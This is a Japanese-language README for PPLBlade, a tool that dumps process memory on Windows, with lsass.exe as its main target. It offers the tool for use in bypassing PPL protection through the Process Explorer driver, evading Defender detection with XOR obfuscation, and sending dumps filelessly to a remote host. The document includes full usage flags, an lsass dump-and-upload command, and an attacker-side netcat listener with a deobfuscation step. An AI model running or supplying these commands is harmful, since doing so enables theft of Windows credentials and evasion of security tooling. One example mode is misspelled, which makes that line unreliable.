PPLBlade

保護プロセスダンパーツール。メモリダンプの難読化と、ディスクに保存せずにリモートワークステーションへ転送をサポートします。

主な機能:

PPL保護のバイパス
メモリダンプファイルを難読化し、Defenderのシグネチャベース検出メカニズムを回避
RAWおよびSMBアップロード方式でメモリダンプをディスクに保存せずにアップロード（ファイルレスダンプ）

本ツールで使用されるテクニックの概要はこちら: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

注意: PROCEXP15.SYS はコンパイル用にソースファイルに記載されています。ターゲットマシンに PPLBlade.exe と一緒に転送する必要はありません。

これはすでに PPLBlade.exe に埋め込まれています。エクスプロイトは単一の実行可能ファイルです。

モード:

Dump - PIDまたはプロセス名を使用してプロセスメモリをダンプ
Decrypt - 難読化(--obfuscate)されたダンプファイルを元の状態に戻す
Cleanup - 実行中に問題が発生した場合に手動でクリーンアップを行う (注意: オプションの値はクリーンアップ対象の実行時と同じである必要があります)
DoThatLsassThing - Process Explorerドライバを使用してlsass.exeをダンプ (基本のPoC)

ハンドルモード:

Direct - OpenProcess()関数を使用して直接PROCESS_ALL_ACCESSハンドルを開く
Procexp - PROCEXP152.sysを使用してハンドルを取得

Usage of PPLBlade.exe:
  -driver string
        Path where the driver file will be dropped (default: current directory)
  -dumpmode string
        Dump mode [local|network] (default "local")
  -dumpname string
        Name of the dump file (default "PPLBlade.dmp")
  -handle string
        Method to obtain target process handle [direct|procexp] (default "direct")
  -help
        Prints this help message
  -ip string
        IP of the remote server
  -key string
        XOR Key for obfuscation (default "PPLBlade")
  -mode string
        Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
  -name string
        Process name of target process
  -network string
        Method for network transfer[raw|smb] (default "raw")
  -obfuscate
        Obfuscate dump file
  -pass string
        SMB password
  -pid int
        PID of target process (prioritized over process name)
  -port int
        PORT on the remote server
  -quiet
        Quiet mode
  -service string
        Name of the service (default "PPLBlade")
  -share string
        share name
  -user string
        SMB username

Examples:
PPLBlade.exe --mode dothatlsassthing
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
PPLBlade.exe --mode decrypt --dumpname PPLBlade.dmp --key PPLBlade
PPLBlade.exe --mode cleanup

例:

PROCEXP152.sysを使用してlsassをダンプする基本のPoC:

PPLBlade.exe --mode dothatlsassthing

(注意: このコマンドはダンプファイルをXORしません。XOR機能を有効にするには、追加で --obfuscate フラグを指定してください)

難読化されたLSASSダンプをリモートの場所にアップロード:

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

攻撃者ホスト:

nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

メモリダンプの復号化:

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade

PPLBlade

人気

PPLBlade